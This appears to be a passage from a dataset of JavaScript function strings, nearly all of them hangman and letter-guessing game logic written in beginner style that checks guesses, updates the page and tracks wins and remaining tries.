guessedLetters.push(letter);\n evaluateGuess(letter);\n }\n }\n updateDisplay();\n checkWin();\n}", "function addCorrectLetter(letter) {\n for (var i = 0; i < character.length; i++) {\n // If current letter(input) has already been pressed\n if (letter.key === character[i]) {\n // change letter inputed to uppercase\n answerArray[i] = letter.key.toUpperCase();\n currentWordDisplay();\n //reduce letters left remaining to guess by 1\n lettersRemaining--;\n console.log(\"letters Remaning: \" + lettersRemaining);\n //if letters left to guess are equal to 0 \n if (lettersRemaining === 0) {\n winScore++;\n displayWinCount();\n alert(\"YOU WON!!!\");\n restartGame();\n\n\n }\n }\n }\n}", "function incorrectLetter(letter) {\n\n if (incorrectInputEntered.indexOf(letter.key.toUpperCase()) < 0) {\n inputRemaining--;\n addIncorrectLetter(letter);\n guessesDisplay.textContent = inputRemaining;\n }\n}", "function lettersToGuess() {\n var i ;\n var toGess = 0 ;\n for (i in progressWord) {\n if (progressWord[i] === \"__\")\n toGess++;\n }\n return toGess;\n }", "function checkLetter(guess) {\n\tmatch = null;\n\tlet letters = document.querySelectorAll('.letter'); //unrevealed letters collection\n\tfor (i = 0; i < letters.length; i++) {\n\t\tif (guess.textContent == letters[i].textContent) {\n\t\t\tletters[i].classList.add('show');\n\t\t\tmatch = true;\n\t\t}\n\t}\n\treturn match;\n}", "function getGuess() {\n \"use strict\";\n return prompt('Guess a letter, or click Cancel to stop playing.');\n}", "function hangman() {\r\n document.onkeyup = function(event) {\r\n\r\n guess = event.key;\r\n\r\n function isLetter(str) {\r\n return str.length === 1 && str.match(/[a-z]/i);\r\n }\r\n //Check to make sure is a letter\r\n if (isLetter(guess) && counter < 7) {\r\n\r\n //if letter is a match to computer word and run right function\r\n if (word.indexOf(guess) > -1) {\r\n var blank = \"<p>\" + underScore.join(\" \") + \"</p>\";\r\n document.getElementById(\"blank\").innerHTML = blank;\r\n right();\r\n }\r\n\r\n //if guess incorrect push to incorrect guess array and run wrong function\r\n if (word.indexOf(guess) < 0) {\r\n\r\n if (incorrectGuess.indexOf(guess) === -1) {\r\n counter++;\r\n incorrectGuess.push(guess);\r\n var wrong = \"<p> Incorrect Guesses:\" + incorrectGuess + \"<br>\" + \"</p>\";\r\n document.getElementById(\"wrong\").innerHTML = wrong;\r\n wrongGuess();\r\n }\r\n }\r\n }\r\n }\r\n}", "function answerCheck() {\n\tgameWordDisplay = \"\"; \n\n//loops through the game word \nfor (var i = 0; i < gameWord.length; i++) {\n\n\t//check the letters guessed by the user agains each position of the game word\n\tif (guessedLetters.includes(gameWord.charAt(i))) {\n\n\t\t//if the letter is there, displays it at the position\n\t\tgameWordDisplay += gameWord.charAt(i);\n\t\t//if not, replaces the display with _ _ _\n\t} else {\n\t\tgameWordDisplay += \"_\";\n\n\t}\n}\n}", "function getLetterScore (letter) {\n return 1; // For testing purposes\n return config.pointValues[letter.toUpperCase()];\n}", "function handleLetterPress(guessedLetter) {\n let correctWord = _model.getWord();\n let numGuesses;\n let newGuessedWord;\n \n if (!correctWord.includes(guessedLetter)) {\n _model.incrementGuesses();\n _model.decreaseScore();\n } else {\n let numCorrectCharacter = updateGuessedWord(guessedLetter, correctWord);\n let i;\n for (i = 0; i < numCorrectCharacter; i++) {\n _model.increaseScore();\n }\n }\n\n newGuessedWord = _model.getGuessedWord();\n numGuesses = _model.getGuesses();\n determineOutcome(newGuessedWord, correctWord, numGuesses);\n }", "function guessOne(e) {\n\t// var guess = document.getElementById(\"guess\").value;\n\tguess = String.fromCharCode(e.which);\n\tguess = guess.toUpperCase();\n\tvar showThisMessage = \"\";\n\tif(!(guess>='A' && guess<='Z')){\n\t\tshowThisMessage =\"Please input a valid alphabet.\";\t\t\n\t}\n\telse if (guessedAlready.includes(guess)) {\n\t\tshowThisMessage =\"You've already tried this letter. <br>Enter a different one.\";\t\t\n\t}\n\telse {\n\t\t// Update the game with the guess\n \tcounterGuess=counterGuess+1; // increment guess counter\n\t\tguessedAlready.push(guess)\n\t\tfor (var i = 0; i < word.length; i++) {\n\t\t\tif (word[i]===guess) {\n\t\t\t\tanswerArray[i] = guess;\n\t\t\t\tshowThisMessage = \"Great! Letter \"+guess+\" is in the word.\";\n\t\t\t}\n\t\t}\n\t\tvar remaining_letters=0;\n\t\tfor (i = 0; i < word.length; i++) {\n\t\t\tif (answerArray[i] === '_') {\n\t\t\t\t\tremaining_letters += 1;\n\t\t\t}\n\t\t}\n\t\tif (remaining_letters == 0) {\n\t\t\tshowThisMessage = \"Congrats! You guessed the word. <br>Try this country.\";\n\t\t\tnumWins = numWins+1;\n\t\t\tinit();\n\t\t}\n\t\tif (showThisMessage === \"\") {\n\t\t\tshowThisMessage = \"Sorry, no \"+guess+\" in the answer.\";\n\t\t}\n\t\t//Update the puzzle\n\t\tdocument.getElementById(\"answer\").innerHTML = answerArray.join(\" \");\n\t\t// count the number of times user enter guesses\n\t\tif (counterGuess >= maximumGuesses) {\n\t\t\tshowThisMessage = \"Sorry, you guessed the limit \" + maximumGuesses +\" times. <br> The answer was: \" + word+\". <br>Try this new game.\";\n\t\t\tnumLosses = numLosses + 1;\n\t\t\tinit();\n\t\t}\n\n\n\t}\n\tdocument.getElementById(\"message\").innerHTML = showThisMessage;\n\tdocument.getElementById(\"wins\").innerHTML = numWins;\n\tdocument.getElementById(\"loss\").innerHTML = numLosses;\n\tdocument.getElementById(\"remaining\").innerHTML = maximumGuesses - counterGuess;\n\tdocument.getElementById(\"guessedAlready\").innerHTML = guessedAlready;\n\n}", "function promptLetter() {\n inquirer.prompt([\n {\n type: 'input',\n name: 'letter',\n message: 'Please guess a letter:',\n // Validate using is-letter npm package and our own\n // function to see if the letter has been guessed.\n validate: function(letter) {\n if (isLetter(letter) && !checkIfGuessed(letter)) {\n return true;\n } else {\n return false;\n }\n }\n }\n ]).then(function(res) {\n // Add letter to userGuesses array\n userGuesses.push(res.letter.toLowerCase());\n\n // Checks if a match was found, logs according response\n if (currentWord.checkIfFound(res.letter.toLowerCase())) {\n console.log(\"Good guess, match found!\\n\");\n score++;\n } else {\n console.log(\"Guess again!\\n\");\n lives--;\n }\n\n // Show current guesses and remaining lives\n printGuesses();\n console.log(\"Lives left: \" + lives + '\\n');\n\n // Check lives and end game if user loses all lives\n if (lives <= 0) {\n // Re-add word back to wordBank since use didn't guess it\n wordBank.push(currentWord.word);\n\n gamerun = false;\n endGame('lose');\n } else {\n // Print the word\n currentWord.printWord();\n // Check win status\n gameRun = currentWord.checkWin();\n\n // Run prompt again if there are still letters to guess\n if (gameRun) {\n promptLetter();\n } else {\n endGame('win');\n }\n }\n\n });\n}", "function isCorrectGuess() {\n \n // for each item in randomLetters, check if it matches currentGuess\n for (i = 0; i < randomLetters.length; i++) { \n if (currentGuess === randomLetters[i]) { \n // store each matching letter's index from randomLetters in matchingLetters\n matchingLetters.push(randomLetters.indexOf(randomLetters[i]));\n // change items at indices in randomBlanks to values at same indicies in randomLetters\n randomBlanks[i] = randomLetters[i];\n $(\"#letters\").html(randomBlanks);\n }\n }\n\n if (((randomLetters.indexOf(currentGuess) !== -1) && (randomBlanks.indexOf(currentGuess) !== -1)) || (lettersGuessed.indexOf(currentGuess) !== -1)) {\n console.log(\"You've already guessed that letter!\"); \n } else if (randomLetters.indexOf(currentGuess) !== -1) {\n console.log(\"Correct guess\");\n createFirework(62,136,5,4,null,null,null,null,true,true); \n guessesLeft--; \n } else {\n console.log(\"That letter is not part of the answer!\");\n lettersGuessed.push(currentGuess);\n console.log(\"The letters you have guessed are: \" + lettersGuessed);\n guessesLeft--;\n }\n showLettersGuessed();\n\n \n console.log(\"You have \" + guessesLeft + \" guesses left.\");\n console.log(\"The mysterious random word: \" + randomBlanks);\n }", "function isCorrectGuess(letter) {\n //if false, this should also decrement lives\n if (!currentWordArray.includes(letter)) {\n livesRemaining -= 1;\n gameEnding.innerHTML = \"Lives Remaining: \" + livesRemaining;\n wrongLetters.push(letter);\n displayWrongLetterBank();\n } else {\n remainingLetters -= 1;\n displayStatus(currentWord)\n }\n}", "guessed(guessedLetter) {\n if (guessedLetter === this.letter) {\n this.guessed = true;\n return this.letter;\n }\n }", "function checkLetter(letter)\n{\n\tvar isInWord;\n\tfor (i = 0; i < targetWordArray.length; i++)\n\t{\n\t\tif(letter == targetWordArray[i])\n\t\t{\n\t\t\tisInWord = true;\n\t\t\treplaceLetter(letter);\n\t\t\tcorrectLetters.push(letter);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tisInWord = false;\n\t\t}\n\t}\n\tif(isInWord === false)\n\t{\n\t\twrongLetters.push(letter);\n\t\tremainingGuesses = remainingGuesses - 1;\n\t}\n\telse\n\t{\t\n\t}\n\tdocument.getElementById(\"array-box\").innerHTML = displayWord.join(\"\");\n}", "function guessLetter(letter) { \n console.log(score)\n //checking to see if buttn has been clicked to start and that a letter has only been pressed once\n if (gameStart === true && guessedArray.indexOf(letter) === -1) {\n //pushing used letter to an array\n guessedArray.push(letter);\n\n var wIndex = word.indexOf(letter.toLowerCase())\n\n if (wIndex !== -1) {\n word.split('').forEach(function (wordLetter, i) {\n if (wordLetter === letter.toLowerCase()) {\n chosenWordArray[i] = letter.toLowerCase()\n }\n })\n } \n //if check fails, subtract a chance \n else {\n guessesLeft--;\n guessesRemaining.textContent = guessesLeft;\n }\n\n //writing new word to the DOM with the letters filled in\n letterSpaces.textContent = chosenWordArray.join(\" \");\n guessedLetters.textContent = guessedArray.join(\" \");\n checkStatus();\n }\n //if game isn't started or a letter is pressed more than once, alerting the player of what to\n else { \n if (gameStart === false) {\n alert(\"Please start a new game\");\n }\n else {\n alert(\"You have already tried that letter\")\n }\n }\n}", "function checkLetter() {\n if (validKeys.indexOf(currentGuess) > -1) {\n if ((secretPhrase.indexOf(currentGuess) > -1)) {\n for (var i = 0; i < secretPhrase.length; i++) {\n if (phraseArray[i] === currentGuess) {\n blankArray[i] = currentGuess;\n spanSecretRandom.innerHTML = blankArray.join(\" \");\n }\n }\n } else {\n lettersGuessed.push(currentGuess);\n spanLettersGuessed.innerHTML = lettersGuessed.join(\" \");\n numGuesses--;\n numGuesses <= 0 ? spanNumGuesses.innerHTML = 0 : spanNumGuesses.innerHTML = numGuesses;\n }\n } else {\n alert(\"Please guess a valid letter\");\n }\n}", "function jsGuess() {\n ranLetter = letters[Math.floor(Math.random() * letters.length)];\n console.log(ranLetter);\n\n}", "function EvaluateGuess(guess) {\n var GuessCorrect = false;\n\n for (var w = 0; w < EmptySlots; w++) { //checks to see if guessed letter is in word, sets to true if so\n if (SelectedSlang[w] == guess) {\n GuessCorrect = true;\n }\n }\n\n console.log(GuessCorrect);\n\n if (GuessCorrect) { \n for (var w =0; w < EmptySlots; w++) {\n if (SelectedSlang[w] == guess) { //checks to see which slots hold correct letter\n FilledAndEmpty[w] = guess;\n }\n }\n console.log(FilledAndEmpty);\n }\n\n else {\n WrongLetters.push(guess); //enters wrongly guessed letter into an array\n RemainingTrys--;\n\n console.log(RemainingTrys);\n \n }\n}", "function letterGuess(letter) {\n\n console.log(letter)\n\n if(gameRunning === true && guessedLetterBank.indexOf(letter) === -1){\n //run game logic\n guessedLetterBank.push(letter);\n\n //check if guessed letter is in my picked word\n\n for(var i = 0; i < pickedWord.length; i++) {\n // convert both values to lower case so i can compare them correctly\n if (pickedWord[i].toLocaleLowerCase() === letter.toLocaleLowerCase()){\n\n // if a match, swap character in the placeholder with the actual letter\n pickedwordPlaceholderArr[i] = pickedWord[i];\n }\n }\n\n $placeholders.textContent = pickedwordPlaceholderArr.join('');\n checkIncorrect(letter);\n\n }\n else {\n if(!gameRunning){\n alert(\"THe game isn't running, click on new button to start over.\"); \n } else{\n alert(\"you have already chosen this letter, try a new one!\");\n }\n }\n}", "function checkLetters(userkey) {\n\n\t//See if the userkey exists in the wrong guesses array\n\tvar letterExist = false;\n\n\tfor (var i = 0; i < wrongGuesses.length; i++) {\n\n\t\tif(userkey === wrongGuesses[i]){\n\n\t\t\tletterExist = true;\n\n\t\t};\n\n\t};\n\n\tif (letterExist === false) {\n\n\t\tvar flag = false;\n\n\t\tfor (var i = 0; i < numBlanks; i++) {\n\t \t\n\t \t\tif(randomWord[i] === userkey) {\n\t \t\t\tflag = true;\n\t \t\t}\n\t \t}\n\n\n\t\t// If the letter exists somewhere in the word, then figure out exactly where (which indices).\n\t\tif (flag) {\n\n\t\t // Loop through the word.\n\t\t for (var i = 0; i < numBlanks; i++) {\n\n\t\t //If the first letter equals the user's input, make it capitalized\n\t\t\t\tif (randomWord[0] === userkey) {\n\n\t\t\t\t\tlettersInWord[0] = userkey.toUpperCase();;\n\n\t\t\t\t} \n\n\t\t\t\t//Else set the specific space in blanks and letter equal to the letter when there is a match.\n\t\t\t\telse if(randomWord[i] === userkey) {\n\n\t\t\t\t\tlettersInWord[i] = userkey\n\n\t\t\t\t};\n\t\t }\n\t\t}\n\n\t\t // If the letter doesn't exist at all...\n\t\telse {\n\n\t\t // ..then we add the letter to the list of wrong letters, and we subtract one of the guesses.\n\t\t\twrongGuesses.push(userkey);\n\n\t\t // numGuesses--;\n\t\t turns--;\n\t\t \n\t \t\tdocument.getElementById(\"turns\").innerHTML = turns;\n\t \n \t\t}\t\n\n\t roundComplete();\n\t}\n}", "function compare(x){\n\tvar letterFound = false;\n\t// If letter has not been guessed, run the following code. If letter has already been guessed, nothing happens.\n\tif (lettersGuessed.indexOf(x) === -1) {\n\t\t// Add letter to list of guessed letters\n\t\tlettersGuessed.push(x);\n\t\t// Loop through each letter of answer and compare against the letter the user guessed.\n\t\tfor (i=0; i<answer.length; i++) {\n\t\t\t// If they match, reveal the corresponding index in the currentWord array. If they don't match, nothing happens.\n\t\t\tif (x===answer[i]) {\n\t\t\t\tcurrentWord[i] = answer[i];\n\t\t\t\tletterFound = true;\n\t\t\t}\n\t\t}\n\t\t// If after the loop completes the user's guess does not match any letters in the answer, reduce guessesRemaining by 1...\n\t\tif (letterFound === false) {\n\t\t\tguessesRemaining--;\n\t\t\t// And if guessesRemaining reaches 0, run function lose()\n\t\t\tif (guessesRemaining === 0) {\n\t\t\t\tlose();\n\t\t\t}\n\t\t}\n\t\t// If user's guess does match a letter in the answer, and then if the answer has been completely discovered, run function win()\n\t\telse {\n\t\t\tif (currentWord.join(\"\") === answer) {\n\t\t\t\twin();\n\t\t\t}\n\n\t\t}\n\t}\n\n}", "function checkGuess(letter) {\n //if letter is not in guessedLetters array then push the letter to the array, and if the letter isn't in the answer word then -1 the numGuessesRemaining\n if (guessedLetters.indexOf(letter) === -1 && ansWord.indexOf(letter) === -1) {\n guessedLetters.push(letter);\n numGuessesRemaining--;\n //if numGuessesRemaining is 3 or less then change the color\n if (numGuessesRemaining <=3) {\n document.getElementById(\"numGuesses\").style.color = \"#e12d2e\";\n }\n //if letter is in answer then replace the positioned \"_\" with the letter\n } else {\n for (var i = 0; i < ansWord.length; i++) {\n if (letter === ansWord[i]) {\n ansWordArr[i] = letter;\n }\n }\n }\n }", "function getGuess (word,selection,screenDisplay,badGuess,guessedLetters) {\n\n inquirer\n .prompt([ {\n \n name: \"guess\",\n message: \"Please guess a letter\",\n \n /*convert upper case entries to lower case */\n filter: function(val) {\n return val.toLowerCase();\n },\n \n }\n ])\n .then(answers => {\n guess=answers.guess\n\n \n\n if(guessedLetters.includes(guess)) {\n console.log(guess + \" was already guessed\")\n selection.update(screenDisplay)\n getGuess\n } else {\n guessedLetters.push(guess);\n badGuess=selection.guess(guess,goodGuess,screenDisplay,badGuess);\n }\n \n\n \n \n playGame(word,selection,screenDisplay,badGuess,guessedLetters);\n });\n}", "function guessCheck(g) {\n // If the guess is correct...\n if (answer.includes(g)) {\n // Reveals correct letter(s)\n for (let i = 0; i < answer.length; i++) {\n // Update page\n if (answer[i] === g) {\n document.getElementById('current-word-field').children[i].innerHTML = g;\n }\n }\n\n // Stores correct guesses, and decriments remaining letters by the number of occurences\n // (only first time per letter)\n if (!usedCorrect.includes(g)) {\n usedCorrect.push(g);\n remaining -= answer.split(g).length - 1;\n }\n\n // Reveals picture, hint, and name when all letters are guessed\n if (remaining === 0) {\n victoryScreen();\n }\n\n // If the guess is incorrect...\n } else {\n if (!usedLetters.includes(g)) {\n usedLetters.push(g);\n\n // Update page\n const letter = document.createElement('li');\n letter.setAttribute('class', 'letter');\n letter.innerHTML = g;\n\n usedLettersField.appendChild(letter);\n\n // Decriment remaining guesses\n if (numGuesses > 1) {\n numGuesses--;\n numGuessesField.innerHTML = numGuesses;\n\n // If user is out of guesses end the game\n } else {\n loserScreen();\n }\n }\n }\n}", "function checkAnswer(guess) {\n console.log(\"Checking guess: \" + guess);\n\n // Clear the answer field\n window.answerTextField.value = \"\";\n\n // Re-focus the answer field\n window.answerTextField.focus();\n\n if ( window.gameMode == \"anagram\") {\n if ( guess.toLowerCase() == window.currentWord.toLowerCase() ) {\n console.log(\"Correct\");\n return true;\n }\n else {\n console.log(\"Incorrect\");\n return false;\n }\n }\n else {\n if ( window.correctLetters.includes(guess) ) {\n console.log(\"Correct\");\n return true;\n }\n else {\n console.log(\"Incorrect\");\n return false;\n }\n }\n\n}", "function Letter(){\n var letter = document.getElementById(\"letter\") .value;\n if (letter.length > 0){\n for (var i=0; i < randomWord.length; i++);{\n if (randomWord[i]=== letter){\n answerArray[i] = letter;\n }\n }\n }\n }", "function revealWord(letter, answer_word, masked_word, incorrect_letter_guesses){\n var new_word = '';\n\n if (! isLetter(letter)){\n $(\".letter_alert\").text(letter + \" Invalid Letter\");\n return masked_word;\n }\n\n if (incorrect_letter_guesses.has(letter) || masked_word.indexOf(letter) != -1){\n $(\".letter_alert\").text(letter + \" Already Guessed\");\n return masked_word;\n }\n\n if (answer_word.indexOf(letter) === -1){\n guess_count -= 1;\n incorrect_letter_guesses.add(letter);\n $(\".your_letters\").append(letter);\n $(\".panel-title\").text(\"You have \" + guess_count + \" guesses left\");\n return masked_word;\n }\n\n for (var i = 0; i < answer_word.length; i++){\n if (letter == answer_word[i]){\n new_word += letter;\n }\n else {\n new_word += masked_word[i];\n }\n }\n return new_word;\n}", "function userGuessLogic(letter){\n\t//Check to see if the user already guessed this letter in the guessedLetters array.\n\tif ( guessedLetters.indexOf(letter) == -1 ) {\n\t\tguessedLetters[guessedLetters.length] = letter;\n\t\tcorrectOrIncorrect(letter);\n\t} else {\n\t//Display a message if the letter was found in guessedLetters\n\t\tconsole.log(\"You already guessed that letter.\")\n\t}\n}", "function hangman(letter){\n //is the key a valid letter? \n if (availableLetters.indexOf(letter)!==-1) {\n availableLetters.splice(availableLetters.indexOf(letter),1);\n letterClicked.push(letter);\n document.getElementById(\"outputError\").innerText= messages.correct;\n //is valid\n /* does guess exist in current word? if so, add to answer, if final letter added, game over with win message */\n if(existInWord(letter)){\n printAnswer();\n }\n else{\n lives--;\n printLives(messages.incorrect);\n error.play();\n }\n }else if(letterClicked.indexOf(letter)!==-1){\n lives--;\n printLives(messages.guessed); \n error.play(); \n }else{\n lives--;\n printLives(messages.validLetter);\n error.play();\n }\n checkScores();\n\n}", "function checkGuesses(guess){\n hasLetter = false;\n for(var i=0;i<guesses.length;i++){\n if(guess === guesses[i]){\n hasLetter = true;\n }\n }\n if(hasLetter){\n alert(\"You guessed that letter already! Choose another letter.\");\n }\n else{\n guesses.push(guess);\n lettersUsed.innerText = (guesses.join(\"\") + \" \");\n compareGuess(guess);\n }\n }", "function guessLetter (){\n var a = letters[Math.floor(Math.random()*letters.length)];\n compGuess = a;\n console.log(compGuess);\n}", "function letterGuessCallback(answers) {\n\n var userGuess = answers.letter.toLowerCase();\n var correct = false;\n\n // functionality for correct guess\n for (var i = 0; i < randomWord.length; i++) {\n if (userGuess == randomWord[i]) {\n console.log(blankRandomWord.swapLetter((blankRandomWord.displayBlanks()), i, userGuess));\n lettersGuessed.push(userGuess);\n console.log(\"Correct!\");\n correct = true;\n }\n }\n\n // functionality for incorrect guess\n if (!correct) {\n console.log(\"Incorrect!\");\n lettersGuessed.push(userGuess);\n guesses--;\n }\n\n // updating user on their game status\n console.log(\"Letters guessed: \" + lettersGuessed);\n console.log(\"You have \" + guesses + \" guesses remaining.\");\n\n var batman = blankRandomWord.displayBlanks();\n\n // functionality for win\n if (batman.indexOf(\"_\") === -1) {\n console.log(\"You won!\");\n console.log(\"The word was \" + randomWord + \"!\");\n playAgain();\n }\n // functionality for loss\n else if (guesses == 0) {\n console.log(\"You have no more guesses!\");\n console.log(\"The word was \" + randomWord + \"!\");\n playAgain();\n }\n // functionality for continuing current game\n else {\n playGame();\n }\n }", "function match(a,b) {\n\t//if the letter input matches the current string\n\tif(a==b){\n\t\t\n\t\tfinalDisplay(i,guess);\n\t\tmatched++;\t\n\t}\n\n\n\t\n}", "function findletter(randomword, letter){\n let wordarray = randomword.split(''); // .split makes it into an array \n let position = wordarray.indexOf(letter);\n // if(position = -1){\n // totalguesses = totalguesses - 1;\n // }\n return position;\n}", "function randomLetter(){\n var random_choice = guessLetters[Math.floor(Math.random() * guessLetters.length)];\n return random_choice;\n}", "function keyPress(){\n\n\tguessedLetters[counter] = event.key.toUpperCase();\t\n\n\tvar correct = 0;\n\tfor(var i = 0; i < randomWord.length; i++){\n\t\tif(guessedLetters[counter] == randomWord.charAt(i)){\n\t\t\thiddenLetters[i] = guessedLetters[counter];\t\n\t\t\tcorrect++;\n\t\t\t}\n\t}\n\n\n\tif(isDuplicate() !== true && (guessedLetters[counter].charCodeAt(0) >= 65 && guessedLetters[counter].charCodeAt(0) <= 90 && guessedLetters[counter].length <= 1)){\n\t\tcounter++;\n\t\tdocument.getElementById(\"hangmanTextLower\").textContent = \"Guessed Letters: \" + guessedLetters;\n\n\t\trefresh();\n\t\tifWon();\n\t\tifLost(correct);\n\t}\n}", "function randomLetter(){\n\t\t\n\t\tif (guessesLeft === 10){\n\t\t\treturn letters[Math.floor(Math.random()*letters.length)];\n\t\t}\n\t\telse{\n\t\t\treturn psychicGuess;\n\t\t}\n\t}// END randomLetter()", "function pickALetter(letter)\n\t{\n\t\t// move letter to correct space.\n\t\t// if(!holdWord.includes(letter)){\n\t\t// \tholdWord.push(letter);\n\t\t// }\n\t\t// holdWord.push(letter);\n\t\tuserGuess = letter;\n\t\t//userGuess = holdWord[holdWord.length - 1];\n\t\tconsole.log(userGuess);\n\n\t\t// For loop that takes in the users guess and compares it to the current word's letters at each Index number.\n\t\t// If the letter they clicked (holdWord index) is equal to the currentWord's index then the program replaces the blank spaces with that letter.\n\t\tfor(var j = 0; j < currentWord.length; j++)\n\t\t{\n\t\t\tif(userGuess === currentWord.charAt(j))\n\t\t\t{\n\t\t\t\tanswer[j] = userGuess;\n\t\t\t\tdocument.getElementById(\"blanks\").innerHTML = answer;\n\n\t\t\t\t// removing the commas from in between the letters.\n\t\t\t\tvar remove = document.getElementById(\"blanks\");\n\t\t\t\tremove.innerHTML = answer.join(\" \");\n\n\t\t\t\t// check if the user has won.\n\t\t\t\tif(!answer.includes(\"_\") && guessesRemaining > 0){\n\t\t\t\t\twins++;\n\t\t\t\t\tdocument.getElementById(\"wins\").innerHTML = \"Wins: \" + wins;\n\t\t\t\t\tsetTimeout(function(){\n\t\t\t\t\t\talert(\"YOU WIN!\")\n\t\t\t\t\t}, 1000);\n\t\t\t\t\t\n\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\t\t// This \"if statement\" takes a wrong guess and subtracts one from \"guesses remaining\", changes the Rick pic, and alerts the player that they've lost if guesses get to 0.\n\t\t\tif(!holdWord.includes(userGuess)){\n\t\t\t\tif(!answer.includes(userGuess))\t\t\t\n\n\t\t\t\t{\t\t\t\t\t\n\n\t\t\t\t\t// Subtract one from \"guesses remaining\" when the user guesses a wrong letter.\n\t\t\t\t\tholdWord.push(letter);\n\t\t\t\t\tconsole.log(answer);\n\t\t\t\t\tconsole.log(holdWord);\n\t\t\t\t\tguessesRemaining = (guessesRemaining - 1); \n\t\t\t\t\tdocument.getElementById(\"guesses\").innerHTML = \"Guesses Remaining: \" + guessesRemaining;\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\t// Change the picture when the user guesses a wrong letter.\n\t\t\t\t\tcurImage = (curImage + 1);\n\t\t\t\t\tdocument.getElementById(\"rick\").src = imgArray[curImage].src;\n\t\t\t\t\n\t\t\t\t\t// if statement to stop the game when guesses reaches 0 and show a \"YOU LOSE\" alert.\n\t\t\t\t\t\tif(guessesRemaining == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Alert the player that they've lost.\n\t\t\t\t\t\t\talert(\"YOU LOSE\");\n\n\t\t\t\t\t\t\t// Reset the Guesses Remaining.\n\t\t\t\t\t\t\tguessesRemaining = 8;\n\t\t\t\t\t\t\tdocument.getElementById(\"guesses\").innerHTML = \"Guesses Remaining: \" + guessesRemaining;\n\n\t\t\t\t\t\t\t// Pick a new word for the player to play again.\n\t\t\t\t\t\t\tpickAWord();\n\n\t\t\t\t\t\t\t// Rest pickALetter function.\n\t\t\t\t\t\t\tpickALetter();\n\n\t\t\t\t\t\t\t// Reset Rick pic back to just the noose.\n\t\t\t\t\t\t\tdocument.getElementById(\"rick\").src = imgArray[0].src;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t}\n\t\t\n\t\t\t\t\t\t\n\t}", "function checkLetter(num) {\r\n\r\n var good = false;\r\n for (i = 0; i < password.length; i++) {\r\n\r\n if (password.charAt(i) == letters[num]) {\r\n password1 = password1.setChar(i, letters[num]);\r\n good = true;\r\n }\r\n }\r\n if (good == true) {\r\n markGood(num);\r\n updateBoard();\r\n if (password1 == password) win = true;\r\n } \r\n else {\r\n markBad(num);\r\n chances++;\r\n document.getElementById(\"hangman\").innerHTML = '<img src=\"img/hang' + chances + '.jpg\" alt=\"\">';\r\n }\r\n checkIfGameEnded();\r\n}", "function guessTheLetter() {\r\n var chr = $('#guessLetter').val();\r\n \r\n if(chr != null && chr != '') {\r\n submitLetter(chr);\r\n }\r\n // Restore focus on input field\r\n $('#guessLetter').focus();\r\n}", "function testWin() {\n var hasLetters = false;\n\n for (var i = 0; i < guitarist.length; i++) {\n\n if (goodGuess.includes(guitarist.toLowerCase().charAt(i)) || (guitarist.charAt(i) === \" \")) {\n hasLetters = true;\n } else {\n hasLetters = false;\n }\n\n if (hasLetters === false) {\n if (numGuess === 0) {\n displayMessage('You lose, click \"Start\" to try again :(');\n document.querySelector(\"#wordLetters\").innerHTML = guitarist;\n return true;\n }\n return false;\n } \n\n }\n \n if (hasLetters === true) {\n displayMessage('You win!, click \"Start\" to play again :)');\n return true;\n }\n\n\n}", "function wordCheck(letter) {\n var WordLetters = false;\n for (var i = 0; i < nameLength; i++) {\n if (chosenName[i] === letter) {\n WordLetters = true;\n }\n }\n\n if (WordLetters) {\n for (var i = 0; i < nameLength; i++) {\n if (chosenName[i] === letter) {\n emptyWord[i] = letter;\n }\n }\n }\n\n else (chosenName[i] !== letter); {\n incorrectGuess.push(letter);\n incorrect--;\n }\n\n \n}", "function moreUserGuesses(letter) {\n \t\treturn letter != computerGuess;\n}", "function letterPosition() {\n \"use strict\";\n var name, charName, position;\n name = window.prompt(\"Please type in your name.\");\n charName = name.length;\n position = window.prompt(\"Please choose a number between 1 and \" + charName + \".\");\n window.alert(name.charAt(position - 1) + \" is the letter in that position.\");\n}", "function selectLetter(letter) {\n mysteryWord.lettersGuessed.push(letter);\n let theWord = mysteryWord.word;\n let theLetters = mysteryWord.actualLetters;\n if (theWord.includes(letter)) {\n // loop through the letters in the word comparing them with the letter the user person guessed\n for (let i = 0; i < theLetters.length; i++) {\n if (theLetters[i].letter === letter) {\n console.log(\"yeah!\")\n theLetters[i].guessCorrectly();\n }\n }\n } else {\n console.log(\"nope\")\n }\n console.log(\"guesses remaining: \" + theUser.guesses);\n showTheQuestion();\n}", "function Incorrect(letter){\n if (\n ChosenWordarr.indexOf(letter.toLowerCase()) === -1 \n && \n ChosenWordarr.indexOf(letter.toUpperCase()) === -1\n ){\n guessesLeft--;\n IncorrectGuesses.push(letter);\n LettersGuessed.innerHTML = IncorrectGuesses.join(' ');\n RemainingGuesses.innerHTML = guessesLeft;\n Destroy();\n }\n \n Loss();\nGameOver();\n }", "function matchKey () {\n\n // creates keystroke variable and converts to lower case\n var userGuess = event.key.toLocaleLowerCase();\n\n // if the guessed letter is correct...\n if (userGuess === letters[randomLetter]) {\n // show the the answer and hide the \"? \"\" \n display.textContent = userGuess;\n display.style.display = \"inline\";\n question.style.display = \"none\";\n // increase the number of wins by 1 and display new score\n numWins++;\n numberWins.textContent = numWins;\n // restart the game after 1.5 seconds\n setTimeout(initialiseGame, 1500);\n \n } \n // if the user runs out of guesses...\n else if (numGuesses === 1) {\n // restart the game\n initialiseGame();\n // increase the number of losses by 1 and display new score\n numLosses++;\n numberLosses.textContent = numLosses;\n }\n // if user keystroke is not a letter...\n else if (userGuess.length > 1) {\n // do not record keystroke\n return false;\n }\n // if the user chooses the wrong letter...\n else {\n // add the input to the guessedLetters string\n guessedLetters += userGuess;\n // display the string on the page\n guessed.textContent = guessedLetters;\n // decrease the number of guesses by 1 and display\n numGuesses--;\n numberGuesses.textContent = numGuesses;\n\n }\n\n}", "function handleGuess(chosenLetter) {\r\n guessed.indexOf(chosenLetter) === -1 ? guessed.push(chosenLetter) : null;\r\n document.getElementById(chosenLetter).setAttribute('disabled', true);\r\n\r\n if (answer.indexOf(chosenLetter) >= 0) {\r\n guessedWord();\r\n checkIfGameWon();\r\n } else if (answer.indexOf(chosenLetter) === -1) {\r\n mistakes++;\r\n updateMistakes();\r\n checkIfGameLost();\r\n updatedinoPicture();\r\n }\r\n}" ]
